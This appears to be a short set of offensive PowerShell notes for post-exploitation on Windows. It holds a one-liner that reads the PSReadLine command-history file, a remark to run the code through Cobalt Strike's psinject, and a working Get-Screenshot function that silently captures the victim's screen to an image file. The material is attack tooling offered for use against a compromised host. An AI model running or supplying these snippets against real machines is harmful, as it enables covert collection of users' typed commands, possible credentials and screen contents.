Get-PSReadlineOption | Select-Object -ExpandProperty HistorySavePath | Get-ChildItem | Get-Content
Note: use psinject with Cobalt Strike
function Get-Screenshot {
[CmdletBinding()]
Param(
[string]
$Path = "$PWD\$(Get-date -Format 'yyyy-MM-dd HH-MM-ss').jpg"
)
Add-Type -Assembly System.Windows.Forms
$Width = [System.Windows.Forms.Screen]::PrimaryScreen.WorkingArea.Width
$Height = [System.Windows.Forms.Screen]::PrimaryScreen.WorkingArea.Height
<#
$VideoController = Get-WmiObject -Query 'SELECT VideoModeDescription FROM Win32_VideoController'
if ($VideoController.VideoModeDescription -and $VideoController.VideoModeDescription -match '(?<ScreenWidth>^\d+) x (?<ScreenHeight>\d+) x .*$') {
$Width = [Int] $Matches['ScreenWidth']
$Height = [Int] $Matches['ScreenHeight']
} else {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$Width = $ScreenBounds.Width
$Height = $ScreenBounds.Height
}
#>
$Size = New-Object System.Drawing.Size($Width, $Height)
$Point = New-Object System.Drawing.Point(0, 0)
#$Codec = [System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where-Object { $_.FormatDescription -eq 'JPEG'}
#$Encoder = [System.Drawing.Imaging.Encoder]::Compression
#$EncoderParams = New-Object System.Drawing.Imaging.EncoderParameters
#$EncoderParams.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter ($Encoder, [long][System.Drawing.Imaging.EncoderValue]::CompressionLZW);
$ScreenshotObject = New-Object Drawing.Bitmap $Width, $Height
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
$DrawingGraphics.CopyFromScreen($Point, [Drawing.Point]::Empty, $Size)
$DrawingGraphics.Dispose()
$ScreenshotObject.Save($Path)
$ScreenshotObject.Dispose()
}